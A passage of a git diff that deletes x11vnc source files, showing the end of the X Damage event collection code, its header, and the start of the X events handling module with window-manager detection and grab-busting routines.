- tot_ev++;
-
- if (mark_all) {
- continue;
- }
- if (ecount == too_many) {
- int nqa = XEventsQueued(dpy, QueuedAlready);
- if (nqa >= too_many) {
- static double last_msg = 0.0;
- tmpregion = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- sraRgnOr(reg, tmpregion);
- sraRgnDestroy(tmpregion);
- if (dnow() > last_msg + xdamage_crazy_delay) {
- rfbLog("collect_xdamage: too many xdamage events %d+%d\n", ecount, nqa);
- last_msg = dnow();
- }
- mark_all = 1;
- }
- }
-
- if (ev.type != xdamage_base_event_type + XDamageNotify) {
- break;
- }
- dev = (XDamageNotifyEvent *) &ev;
- if (dev->damage != xdamage) {
- continue; /* not ours! */
- }
-
- x = dev->area.x;
- y = dev->area.y;
- w = dev->area.width;
- h = dev->area.height;
-
- /*
- * we try to manually remove some duplicates because
- * certain activities can lead to many 10's of dups
- * in a row. The region work can be costly and reg is
- * later used in xdamage_hint_skip loops, so it is good
- * to skip them if possible.
- */
- dup = 0;
- for (i=0; i < dup_max; i++) {
- if (dup_x[i] == x && dup_y[i] == y && dup_w[i] == w &&
- dup_h[i] == h) {
- dup = 1;
- break;
- }
- }
- if (dup) {
- dcount++;
- continue;
- }
- if (dup_max < DUPSZ) {
- next = dup_max;
- dup_max++;
- } else {
- next = (next+1) % DUPSZ;
- }
- dup_x[next] = x;
- dup_y[next] = y;
- dup_w[next] = w;
- dup_h[next] = h;
-
- /* translate if needed */
- if (clipshift) {
- /* set coords relative to fb origin */
- if (0 && rootshift) {
- /*
- * Note: not needed because damage is
- * relative to subwin, not rootwin.
- */
- x = x - off_x;
- y = y - off_y;
- }
- if (clipshift) {
- x = x - coff_x;
- y = y - coff_y;
- }
-
- x2 = x + w; /* upper point */
- x = nfix(x, dpy_x); /* place both in fb area */
- x2 = nfix(x2, dpy_x+1);
- w = x2 - x; /* recompute w */
-
- y2 = y + h;
- y = nfix(y, dpy_y);
- y2 = nfix(y2, dpy_y+1);
- h = y2 - y;
-
- if (w <= 0 || h <= 0) {
- continue;
- }
- }
- if (debug_xdamage > 2) {
- fprintf(stderr, "xdamage: -> event %dx%d+%d+%d area:"
- " %d dups: %d %s\n", w, h, x, y, w*h, dcount,
- (w*h > xdamage_max_area) ? "TOO_BIG" : "");
- }
-
- record_desired_xdamage_rect(x, y, w, h);
-
- tmpregion = sraRgnCreateRect(x, y, x + w, y + h);
- sraRgnOr(reg, tmpregion);
- sraRgnDestroy(tmpregion);
- rect_count++;
- ccount++;
- }
-
- if (mark_all) {
- if (ecount + XEventsQueued(dpy, QueuedAlready) >= 3 * too_many && retries < 3) {
- retries++;
- XFlush_wr(dpy);
- usleep(20 * 1000);
- XFlush_wr(dpy);
- ecount = 0;
- goto come_back_for_more;
- }
- }
-
- /* clear the whole damage region for next time. XXX check */
- if (call == 1) {
- XDamageSubtract(dpy, xdamage, None, None);
- }
- X_UNLOCK;
-
- if (tot_ev > 20 * too_many) {
- rfbLog("collect_xdamage: xdamage has gone crazy (screensaver or game?) ev: %d ret: %d\n", tot_ev, retries);
- rfbLog("collect_xdamage: disabling xdamage for %d seconds.\n", (int) xdamage_crazy_delay);
- destroy_xdamage_if_needed();
- X_LOCK;
- XSync(dpy, False);
- while (XCheckTypedEvent(dpy, xdamage_base_event_type+XDamageNotify, &ev)) {
- ;
- }
- X_UNLOCK;
- xdamage_crazy_time = dnow();
- }
-
- if (0 && xdamage_direct_count) {
- fb_push();
- }
-
- dt = dtime(&tm);
- if ((debug_tiles > 1 && ecount) || (debug_tiles && ecount > 200)
- || debug_xdamage > 1) {
- fprintf(stderr, "collect_xdamage(%d): %.4f t: %.4f ev/dup/accept"
- "/direct %d/%d/%d/%d\n", call, dt, tm - x11vnc_start, ecount,
- dcount, ccount, xdamage_direct_count);
- }
- now = time(NULL);
- if (! last_rpt) {
- last_rpt = now;
- }
- if (now > last_rpt + 15) {
- double rat = -1.0;
-
- if (XD_tot) {
- rat = ((double) XD_skip)/XD_tot;
- }
- if (debug_tiles || debug_xdamage) {
- fprintf(stderr, "xdamage: == scanline skip/tot: "
- "%04d/%04d =%.3f rects: %d desired: %d\n",
- XD_skip, XD_tot, rat, rect_count, XD_des);
- }
-
- XD_skip = 0;
- XD_tot = 0;
- XD_des = 0;
- rect_count = 0;
- last_rpt = now;
- }
-#else
- if (0) scancnt++; /* compiler warnings */
- if (0) call++;
- if (0) record_desired_xdamage_rect(0, 0, 0, 0);
-#endif
- return 0;
-}
-
-int xdamage_hint_skip(int y) {
- static sraRegionPtr scanline = NULL;
- static sraRegionPtr tmpl_y = NULL;
- int fast_tmpl = 1;
- sraRegionPtr reg, tmpl;
- int ret, i, n, nreg;
-#ifndef NO_NCACHE
- static int ncache_no_skip = 0;
- static double last_ncache_no_skip = 0.0;
- static double last_ncache_no_skip_long = 0.0, ncache_fac = 0.25;
-#endif
-
- if (! xdamage_present || ! use_xdamage) {
- return 0; /* cannot skip */
- }
- if (! xdamage_regions) {
- return 0; /* cannot skip */
- }
-
- if (! scanline) {
- /* keep it around to avoid malloc etc, recreate */
- scanline = sraRgnCreate();
- }
- if (! tmpl_y) {
- tmpl_y = sraRgnCreateRect(0, 0, dpy_x, 1);
- }
-
- nreg = (xdamage_memory * NSCAN) + 1;
-
-#ifndef NO_NCACHE
- if (ncache > 0) {
- if (ncache_no_skip == 0) {
- double now = g_now;
- if (now > last_ncache_no_skip + 8.0) {
- ncache_no_skip = 1;
- } else if (now < last_bs_restore + 0.5) {
- ncache_no_skip = 1;
- } else if (now < last_su_restore + 0.5) {
- ncache_no_skip = 1;
- } else if (now < last_copyrect + 0.5) {
- ncache_no_skip = 1;
- }
- if (ncache_no_skip) {
- last_ncache_no_skip = dnow();
- if (now > last_ncache_no_skip_long + 60.0) {
- ncache_fac = 2.0;
- last_ncache_no_skip_long = now;
- } else {
- ncache_fac = 0.25;
- }
- return 0;
- }
- } else {
- if (ncache_no_skip++ >= ncache_fac*nreg + 4) {
- ncache_no_skip = 0;
- } else {
- return 0;
- }
- }
- }
-#endif
-
- if (fast_tmpl) {
- sraRgnOffset(tmpl_y, 0, y);
- tmpl = tmpl_y;
- } else {
- tmpl = sraRgnCreateRect(0, y, dpy_x, y+1);
- }
-
- ret = 1;
- for (i=0; i<nreg; i++) {
- /* go back thru the history starting at most recent */
- n = (xdamage_ticker + nreg - i) % nreg;
- reg = xdamage_regions[n];
- if (reg == NULL) {
- continue;
- }
- if (sraRgnEmpty(reg)) {
- /* checking for emptiness is very fast */
- continue;
- }
- sraRgnMakeEmpty(scanline);
- sraRgnOr(scanline, tmpl);
- if (sraRgnAnd(scanline, reg)) {
- ret = 0;
- break;
- }
- }
- if (fast_tmpl) {
- sraRgnOffset(tmpl_y, 0, -y);
- } else {
- sraRgnDestroy(tmpl);
- }
-if (0) fprintf(stderr, "xdamage_hint_skip: %d -> %d\n", y, ret);
-
- return ret;
-}
-
-void initialize_xdamage(void) {
- sraRegionPtr *ptr;
- int i, nreg;
-
- if (! xdamage_present) {
- use_xdamage = 0;
- }
- if (xdamage_regions) {
- ptr = xdamage_regions;
- while (*ptr != NULL) {
- sraRgnDestroy(*ptr);
- ptr++;
- }
- free(xdamage_regions);
- xdamage_regions = NULL;
- }
- if (use_xdamage) {
- nreg = (xdamage_memory * NSCAN) + 2;
- xdamage_regions = (sraRegionPtr *)
- malloc(nreg * sizeof(sraRegionPtr));
- for (i = 0; i < nreg; i++) {
- ptr = xdamage_regions+i;
- if (i == nreg - 1) {
- *ptr = NULL;
- } else {
- *ptr = sraRgnCreate();
- sraRgnMakeEmpty(*ptr);
- }
- }
- /* set so will be 0 in first collect_xdamage call */
- xdamage_ticker = -1;
- }
-}
-
-void create_xdamage_if_needed(int force) {
-
- RAWFB_RET_VOID
-
- if (force) {}
-
-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
- if (! xdamage || force) {
- X_LOCK;
- xdamage = XDamageCreate(dpy, window, XDamageReportRawRectangles);
- XDamageSubtract(dpy, xdamage, None, None);
- X_UNLOCK;
- rfbLog("created xdamage object: 0x%lx\n", xdamage);
- }
-#endif
-}
-
-void destroy_xdamage_if_needed(void) {
-
- RAWFB_RET_VOID
-
-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
- if (xdamage) {
- XEvent ev;
- X_LOCK;
- XDamageDestroy(dpy, xdamage);
- XFlush_wr(dpy);
- if (xdamage_base_event_type) {
- while (XCheckTypedEvent(dpy,
- xdamage_base_event_type+XDamageNotify, &ev)) {
- ;
- }
- }
- X_UNLOCK;
- rfbLog("destroyed xdamage object: 0x%lx\n", xdamage);
- xdamage = 0;
- }
-#endif
-}
-
-void check_xdamage_state(void) {
- if (! xdamage_present) {
- return;
- }
- /*
- * Create or destroy the Damage object as needed, we don't want
- * one if no clients are connected.
- */
- if (xdamage_crazy_time > 0.0 && dnow() < xdamage_crazy_time + xdamage_crazy_delay) {
- return;
- }
- if (client_count && use_xdamage) {
- create_xdamage_if_needed(0);
- if (xdamage_scheduled_mark > 0.0 && dnow() >
- xdamage_scheduled_mark) {
- if (xdamage_scheduled_mark_region) {
- mark_region_for_xdamage(
- xdamage_scheduled_mark_region);
- sraRgnDestroy(xdamage_scheduled_mark_region);
- xdamage_scheduled_mark_region = NULL;
- } else {
- mark_for_xdamage(0, 0, dpy_x, dpy_y);
- }
- xdamage_scheduled_mark = 0.0;
- }
- } else {
- destroy_xdamage_if_needed();
- }
-}
-
-
diff --git a/x11vnc/xdamage.h b/x11vnc/xdamage.h
deleted file mode 100644
index 9919b7d..0000000
--- a/x11vnc/xdamage.h
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_XDAMAGE_H
-#define _X11VNC_XDAMAGE_H
-
-/* -- xdamage.h -- */
-
-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
-extern Damage xdamage;
-#endif
-extern int use_xdamage;
-extern int xdamage_present;
-extern int xdamage_max_area;
-extern double xdamage_memory;
-extern int xdamage_tile_count, xdamage_direct_count;
-extern double xdamage_scheduled_mark;
-extern double xdamage_crazy_time;
-extern double xdamage_crazy_delay;
-extern sraRegionPtr xdamage_scheduled_mark_region;
-extern sraRegionPtr *xdamage_regions;
-extern int xdamage_ticker;
-extern int XD_skip, XD_tot, XD_des;
-
-extern void add_region_xdamage(sraRegionPtr new_region);
-extern void clear_xdamage_mark_region(sraRegionPtr markregion, int flush);
-extern int collect_non_X_xdamage(int x_in, int y_in, int w_in, int h_in, int call);
-extern int collect_xdamage(int scancnt, int call);
-extern int xdamage_hint_skip(int y);
-extern void initialize_xdamage(void);
-extern void create_xdamage_if_needed(int force);
-extern void destroy_xdamage_if_needed(void);
-extern void check_xdamage_state(void);
-
-#endif /* _X11VNC_XDAMAGE_H */
diff --git a/x11vnc/xevents.c b/x11vnc/xevents.c
deleted file mode 100644
index 72b6515..0000000
--- a/x11vnc/xevents.c
+++ /dev/null
@@ -1,2175 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- xevents.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "xkb_bell.h"
-#include "xrandr.h"
-#include "xdamage.h"
-#include "xrecord.h"
-#include "selection.h"
-#include "keyboard.h"
-#include "cursor.h"
-#include "gui.h"
-#include "connections.h"
-#include "unixpw.h"
-#include "cleanup.h"
-#include "macosx.h"
-#include "screen.h"
-#include "pm.h"
-#include "pointer.h"
-#include "remote.h"
-#include "inet.h"
-
-/* XXX CHECK BEFORE RELEASE */
-int grab_buster = 0;
-int grab_kbd = 0;
-int grab_ptr = 0;
-int grab_always = 0;
-int ungrab_both = 0;
-int grab_local = 0;
-int sync_tod_delay = 20;
-
-void initialize_vnc_connect_prop(void);
-void initialize_x11vnc_remote_prop(void);
-void initialize_clipboard_atom(void);
-void spawn_grab_buster(void);
-void sync_tod_with_servertime(void);
-void check_keycode_state(void);
-void check_autorepeat(void);
-void set_prop_atom(Atom atom);
-void check_xevents(int reset);
-void xcut_receive(char *text, int len, rfbClientPtr cl);
-
-void kbd_release_all_keys(rfbClientPtr cl);
-void set_single_window(rfbClientPtr cl, int x, int y);
-void set_server_input(rfbClientPtr cl, int s);
-void set_text_chat(rfbClientPtr cl, int l, char *t);
-int get_keyboard_led_state_hook(rfbScreenInfoPtr s);
-int get_file_transfer_permitted(rfbClientPtr cl);
-void get_prop(char *str, int len, Atom prop, Window w);
-int guess_dm_gone(int t1, int t2);
-
-static void initialize_xevents(int reset);
-static void print_xevent_bases(void);
-static void bust_grab(int reset);
-static int process_watch(char *str, int parent, int db);
-static void grab_buster_watch(int parent, char *dstr);
-
-
-void initialize_vnc_connect_prop(void) {
- char *prop_str;
- vnc_connect_str[0] = '\0';
- RAWFB_RET_VOID
-#if !NO_X11
- prop_str = getenv("VNC_CONNECT");
- if (prop_str == NULL) {
- prop_str = "VNC_CONNECT";
- }
- vnc_connect_prop = XInternAtom(dpy, "VNC_CONNECT", False);
-#endif
-}
-
-void initialize_x11vnc_remote_prop(void) {
- char *prop_str;
- x11vnc_remote_str[0] = '\0';
- RAWFB_RET_VOID
-#if !NO_X11
- prop_str = getenv("X11VNC_REMOTE");
- if (prop_str == NULL) {
- prop_str = "X11VNC_REMOTE";
- }
- x11vnc_remote_prop = XInternAtom(dpy, prop_str, False);
-#endif
-}
-
-void initialize_clipboard_atom(void) {
- RAWFB_RET_VOID
-#if NO_X11
- return;
-#else
- clipboard_atom = XInternAtom(dpy, "CLIPBOARD", False);
- if (clipboard_atom == None) {
- if (! quiet) rfbLog("could not find atom CLIPBOARD\n");
- if (watch_clipboard) {
- watch_clipboard = 0;
- }
- if (set_clipboard) {
- set_clipboard = 0;
- }
- }
-#endif /* NO_X11 */
-}
-
-/*
- we observed these strings:
-
- 6 gdm_string: Gnome-power-manager
- 6 gdm_string: Gnome-session
- 6 gdm_string: Gnome-settings-daemon
- 6 gdm_string: Login Window
- 6 gdm_string: Notify-osd
- 6 gdm_string: Panel
- 12 gdm_string: Metacity
- 12 gdm_string: gnome-power-manager
- 12 gdm_string: gnome-session
- 12 gdm_string: gnome-settings-daemon
- 12 gdm_string: notify-osd
- 18 gdm_string: Gdm-simple-greeter
- 24 gdm_string: metacity
- 36 gdm_string: gdm-simple-greeter
-
- kdmgreet
- Kdmgreet
- */
-
-static int dm_string(char *str) {
- char *s = getenv("DEBUG_WM_RUNNING");
- if (str == NULL) {
- return 0;
- }
- if (str[0] == '\0') {
- return 0;
- }
- if (0) fprintf(stderr, "dm_string: %s\n", str);
- if (strstr(str, "gdm-") == str || strstr(str, "Gdm-") == str) {
- if (strstr(str, "-greeter") != NULL) {
- if (s) rfbLog("dm_string: %s\n", str);
- return 1;
- }
- }
- if (!strcmp(str, "kdmgreet") || !strcmp(str, "Kdmgreet")) {
- if (s) rfbLog("dm_string: %s\n", str);
- return 1;
- }
- return 0;
-}
-
-static int dm_still_running(void) {
-#if NO_X11
- return 0;
-#else
- Window r, parent;
- Window *winlist;
- unsigned int nc;
- int rc, i;
- static XClassHint *classhint = NULL;
- XErrorHandler old_handler;
- int saw_gdm_name = 0;
-
- /* some times a window can go away before we get to it */
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
-
- if (! classhint) {
- classhint = XAllocClassHint();
- }
-
- /* we are xlocked. */
- rc = XQueryTree_wr(dpy, DefaultRootWindow(dpy), &r, &parent, &winlist, &nc);
- if (!rc || winlist == NULL || nc == 0) {
- nc = 0;
- }
- for (i=0; i < (int) nc; i++) {
- char *name = NULL;
- Window w = winlist[i];
- if (XFetchName(dpy, w, &name) && name != NULL) {
- saw_gdm_name += dm_string(name);
- XFree_wr(name);
- }
- classhint->res_name = NULL;
- classhint->res_class = NULL;
- if (XGetClassHint(dpy, w, classhint)) {
- name = classhint->res_name;
- if (name != NULL) {
- saw_gdm_name += dm_string(name);
- XFree_wr(name);
- }
- name = classhint->res_class;
- if (name != NULL) {
- saw_gdm_name += dm_string(name);
- XFree_wr(name);
- }
- }
- if (saw_gdm_name > 0) {
- break;
- }
- }
- if (winlist != NULL) {
- XFree_wr(winlist);
- }
-
- XSync(dpy, False);
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
-
- return saw_gdm_name;
-#endif
-}
-
-static int wm_running(void) {
- char *s = getenv("DEBUG_WM_RUNNING");
- int ret = 0;
- RAWFB_RET(0)
-#if NO_X11
- return 0;
-#else
- /*
- * Unfortunately with recent GDM (v2.28), they run gnome-session,
- * dbus-launch, and metacity for the Login greeter! So the simple
- * XInternAtom checks below no longer work.
- * We also see a similar thing with KDE.
- */
- if (dm_still_running()) {
- return 0;
- }
-
- /* we are xlocked. */
- if (XInternAtom(dpy, "_NET_SUPPORTED", True) != None) {
- if (s) rfbLog("wm is running (_NET_SUPPORTED).\n");
- ret++;
- }
- if (XInternAtom(dpy, "_WIN_PROTOCOLS", True) != None) {
- if (s) rfbLog("wm is running (_WIN_PROTOCOLS).\n");
- ret++;
- }
- if (XInternAtom(dpy, "_XROOTPMAP_ID", True) != None) {
- if (s) rfbLog("wm is running (_XROOTPMAP_ID).\n");
- ret++;
- }
- if (XInternAtom(dpy, "_MIT_PRIORITY_COLORS", True) != None) {
- if (s) rfbLog("wm is running (_MIT_PRIORITY_COLORS).\n");
- ret++;
- }
- if (!ret) {
- if (s) rfbLog("wm is not running.\n");
- return 0;
- } else {
- if (s) rfbLog("wm is running ret=%d.\n", ret);
- return 1;
- }
-#endif /* NO_X11 */
-
-}
-
-int guess_dm_gone(int t1, int t2) {
- int wait = t2;
- char *avoid = getenv("X11VNC_AVOID_WINDOWS");
- time_t tcheck = last_client;
-
- if (last_open_xdisplay > last_client) {
- /* better time for -display WAIT:... */
- tcheck = last_open_xdisplay;
- }
-
- if (avoid && !strcmp(avoid, "never")) {
- return 1;
- }
- if (!screen || !screen->clientHead) {
- return 0;
- }
- if (avoid) {
- int n = atoi(avoid);
- if (n > 1) {
- wait = n;
- } else {
- wait = 90;
- }
- } else {
- static time_t saw_wm = 0;
-
- wait = t2;
-
- X_LOCK;
- if (wm_running()) {
- if (saw_wm == 0) {
- saw_wm = time(NULL);
- } else if (time(NULL) <= saw_wm + 2) {
- /* try to wait a few seconds after transition */
- ;
- } else {
- wait = t1;
- }
- }
- X_UNLOCK;
- }
- if (getenv("DEBUG_WM_RUNNING")) {
- rfbLog("guess_dm_gone: wait=%d\n", wait);
- }
- /* we assume they've logged in OK after wait seconds... */
- if (time(NULL) <= tcheck + wait) {
- return 0;
- }
- return 1;
-}
-
-static void initialize_xevents(int reset) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!reset) {}
- return;
-#else
- static int did_xselect_input = 0;
- static int did_xcreate_simple_window = 0;
- static int did_vnc_connect_prop = 0;
- static int did_x11vnc_remote_prop = 0;
- static int did_clipboard_atom = 0;
- static int did_xfixes = 0;
- static int did_xdamage = 0;
- static int did_xrandr = 0;
-
- RAWFB_RET_VOID
-
- if (reset) {
- did_xselect_input = 0;
- did_xcreate_simple_window = 0;
- did_vnc_connect_prop = 0;
- did_x11vnc_remote_prop = 0;
- did_clipboard_atom = 0;
- did_xfixes = 0;
- did_xdamage = 0;
- did_xrandr = 0;
- }
-
- if ((watch_selection || vnc_connect) && !did_xselect_input) {
- /*
- * register desired event(s) for notification.
- * PropertyChangeMask is for CUT_BUFFER0 changes.
- * XXX: does this cause a flood of other stuff?
- */
- X_LOCK;
- xselectinput_rootwin |= PropertyChangeMask;
- XSelectInput_wr(dpy, rootwin, xselectinput_rootwin);
-
- if (subwin && freeze_when_obscured) {
- XSelectInput_wr(dpy, subwin, VisibilityChangeMask);
- }
- X_UNLOCK;
- did_xselect_input = 1;
- }
- if (watch_selection && !did_xcreate_simple_window) {
- /* create fake window for our selection ownership, etc */
-
- /*
- * We try to delay creating selwin until we are past
- * any GDM, (or other KillInitClients=true) manager.
- */
- if (guess_dm_gone(8, 45)) {
- X_LOCK;
- selwin = XCreateSimpleWindow(dpy, rootwin, 3, 2, 1, 1, 0, 0, 0);
- X_UNLOCK;
- did_xcreate_simple_window = 1;
- if (! quiet) rfbLog("created selwin: 0x%lx\n", selwin);
- }
- }
-
- if ((xrandr || xrandr_maybe) && !did_xrandr) {
- initialize_xrandr();
- did_xrandr = 1;
- }
- if (vnc_connect && !did_vnc_connect_prop) {
- initialize_vnc_connect_prop();
- did_vnc_connect_prop = 1;
- }
- if (vnc_connect && !did_x11vnc_remote_prop) {
- initialize_x11vnc_remote_prop();
- did_x11vnc_remote_prop = 1;
- }
- if (run_gui_pid > 0) {
- kill(run_gui_pid, SIGUSR1);
- run_gui_pid = 0;
- }
- if (!did_clipboard_atom) {
- initialize_clipboard_atom();
- did_clipboard_atom = 1;
- }
- if (xfixes_present && use_xfixes && !did_xfixes) {
- /*
- * We try to delay creating initializing xfixes until
- * we are past the display manager, due to Xorg bug:
- * http://bugs.freedesktop.org/show_bug.cgi?id=18451
- */
- if (guess_dm_gone(8, 45)) {
- initialize_xfixes();
- did_xfixes = 1;
- if (! quiet) rfbLog("called initialize_xfixes()\n");
- }
- }
- if (xdamage_present && !did_xdamage) {
- initialize_xdamage();
- did_xdamage = 1;
- }
-#endif /* NO_X11 */
-}
-
-static void print_xevent_bases(void) {
- fprintf(stderr, "X event bases: xkb=%d, xtest=%d, xrandr=%d, "
- "xfixes=%d, xdamage=%d, xtrap=%d\n", xkb_base_event_type,
- xtest_base_event_type, xrandr_base_event_type,
- xfixes_base_event_type, xdamage_base_event_type,
- xtrap_base_event_type);
- fprintf(stderr, " MapNotify=%d, ClientMsg=%d PropNotify=%d "
- "SelNotify=%d, SelRequest=%d\n", MappingNotify, ClientMessage,
- PropertyNotify, SelectionNotify, SelectionRequest);
- fprintf(stderr, " SelClear=%d, Expose=%d\n", SelectionClear, Expose);
-}
-
-void get_prop(char *str, int len, Atom prop, Window w) {
- int i;
-#if !NO_X11
- Atom type;
- int format, slen, dlen;
- unsigned long nitems = 0, bytes_after = 0;
- unsigned char* data = NULL;
-#endif
-
- for (i=0; i<len; i++) {
- str[i] = '\0';
- }
- if (prop == None) {
- return;
- }
-
- RAWFB_RET_VOID
-
-#if NO_X11
- return;
-#else
-
- slen = 0;
- if (w == None) {
- w = DefaultRootWindow(dpy);
- }
-
- do {
- if (XGetWindowProperty(dpy, w,
- prop, nitems/4, len/16, False,
- AnyPropertyType, &type, &format, &nitems, &bytes_after,
- &data) == Success) {
-
- dlen = nitems * (format/8);
- if (slen + dlen > len) {
- /* too big */
- XFree_wr(data);
- break;
- }
- memcpy(str+slen, data, dlen);
- slen += dlen;
- str[slen] = '\0';
- XFree_wr(data);
- }
- } while (bytes_after > 0);
-#endif /* NO_X11 */
-}
-
-static void bust_grab(int reset) {
-#if NO_X11
- if (!reset) {}
- return;
-#else
- static int bust_count = 0;
- static time_t last_bust = 0;
- time_t now = time(NULL);
- KeyCode key;
- int button, x, y, nb;
-
- if (now > last_bust + 180) {
- bust_count = 0;
- }
- if (reset) {
- bust_count = 0;
- return;
- }
-
- x = 0;
- y = 0;
- button = 0;
- key = NoSymbol;
-
- nb = 8;
- if (bust_count >= 3 * nb) {
- fprintf(stderr, "too many bust_grab's %d for me\n", bust_count);
- exit(0);
- }
- if (bust_count % nb == 0) {
- button = 1;
- } else if (bust_count % nb == 1) {
- button = 1;
- } else if (bust_count % nb == 2) {
- key = XKeysymToKeycode(dpy, XK_Escape);
- } else if (bust_count % nb == 3) {
- button = 3;
- } else if (bust_count % nb == 4) {
- key = XKeysymToKeycode(dpy, XK_space);
- } else if (bust_count % nb == 5) {
- x = bust_count * 23;
- y = bust_count * 17;
- } else if (bust_count % nb == 5) {
- button = 2;
- } else if (bust_count % nb == 6) {
- key = XKeysymToKeycode(dpy, XK_a);
- }
-
- if (key == NoSymbol) {
- key = XKeysymToKeycode(dpy, XK_a);
- if (key == NoSymbol) {
- button = 1;
- }
- }
-
- bust_count++;
-
- if (button) {
- /* try button press+release */
- fprintf(stderr, "**bust_grab: button%d %.4f\n",
- button, dnowx());
- XTestFakeButtonEvent_wr(dpy, button, True, CurrentTime);
- XFlush_wr(dpy);
- usleep(50 * 1000);
- XTestFakeButtonEvent_wr(dpy, button, False, CurrentTime);
- } else if (x > 0) {
- /* try button motion*/
- int scr = DefaultScreen(dpy);
-
- fprintf(stderr, "**bust_grab: x=%d y=%d %.4f\n", x, y,
- dnowx());
- XTestFakeMotionEvent_wr(dpy, scr, x, y, CurrentTime);
- XFlush_wr(dpy);
- usleep(50 * 1000);
-
- /* followed by button press */
- button = 1;
- fprintf(stderr, "**bust_grab: button%d\n", button);
- XTestFakeButtonEvent_wr(dpy, button, True, CurrentTime);
- XFlush_wr(dpy);
- usleep(50 * 1000);
- XTestFakeButtonEvent_wr(dpy, button, False, CurrentTime);
- } else {
- /* try Escape or Space press+release */
- fprintf(stderr, "**bust_grab: keycode: %d %.4f\n",
- (int) key, dnowx());
- XTestFakeKeyEvent_wr(dpy, key, True, CurrentTime);
- XFlush_wr(dpy);
- usleep(50 * 1000);
- XTestFakeKeyEvent_wr(dpy, key, False, CurrentTime);
- }
- XFlush_wr(dpy);
- last_bust = time(NULL);
-#endif /* NO_X11 */
-}
-
-typedef struct _grabwatch {
- int pid;
- int tick;
- unsigned long time;
- time_t change;
-} grabwatch_t;
-#define GRABWATCH 16
-
-static int grab_buster_delay = 20;
-static pid_t grab_buster_pid = 0;
-
-static int grab_npids = 1;
-
-static int process_watch(char *str, int parent, int db) {
- int i, pid, ticker, npids;
- char diff[128];
- unsigned long xtime;
- static grabwatch_t watches[GRABWATCH];
- static int first = 1;
- time_t now = time(NULL);
- static time_t last_bust = 0;
- int too_long, problems = 0;
-
- if (first) {
- for (i=0; i < GRABWATCH; i++) {
- watches[i].pid = 0;
- watches[i].tick = 0;
- watches[i].time = 0;
- watches[i].change = 0;
- }
- first = 0;
- }
-
- /* record latest value of prop */
- if (str && *str != '\0') {
- if (sscanf(str, "%d/%d/%lu/%s", &pid, &ticker, &xtime, diff)
- == 4) {
- int got = -1, free = -1;
-
- if (db) fprintf(stderr, "grab_buster %d - %d - %lu - %s"
- "\n", pid, ticker, xtime, diff);
-
- if (pid == parent && !strcmp(diff, "QUIT")) {
- /* that's it. */
- return 0;
- }
- if (pid == 0 || ticker == 0 || xtime == 0) {
- /* bad prop read. */
- goto badtickerstr;
- }
- for (i=0; i < GRABWATCH; i++) {
- if (watches[i].pid == pid) {
- got = i;
- break;
- }
- if (free == -1 && watches[i].pid == 0) {
- free = i;
- }
- }
- if (got == -1) {
- if (free == -1) {
- /* bad news */;
- free = GRABWATCH - 1;
- }
- watches[free].pid = pid;
- watches[free].tick = ticker;
- watches[free].time = xtime;
- watches[free].change = now;
- if (db) fprintf(stderr, "grab_buster free slot: %d\n", free);
- } else {
- if (db) fprintf(stderr, "grab_buster got slot: %d\n", got);
- if (watches[got].tick != ticker) {
- watches[got].change = now;
- }
- if (watches[got].time != xtime) {
- watches[got].change = now;
- }
- watches[got].tick = ticker;
- watches[got].time = xtime;
- }
- } else {
- if (db) fprintf(stderr, "grab_buster bad prop str: %s\n", str);
- }
- }
-
- badtickerstr:
-
- too_long = grab_buster_delay;
- if (too_long < 3 * sync_tod_delay) {
- too_long = 3 * sync_tod_delay;
- }
-
- npids = 0;
- for (i=0; i < GRABWATCH; i++) {
- if (watches[i].pid) {
- npids++;
- }
- }
- grab_npids = npids;
- if (npids > 4) {
- npids = 4;
- }
-
- /* now check everyone we are tracking */
- for (i=0; i < GRABWATCH; i++) {
- int fac = 1;
- if (!watches[i].pid) {
- continue;
- }
- if (watches[i].change == 0) {
- watches[i].change = now; /* just to be sure */
- continue;
- }
-
- pid = watches[i].pid;
-
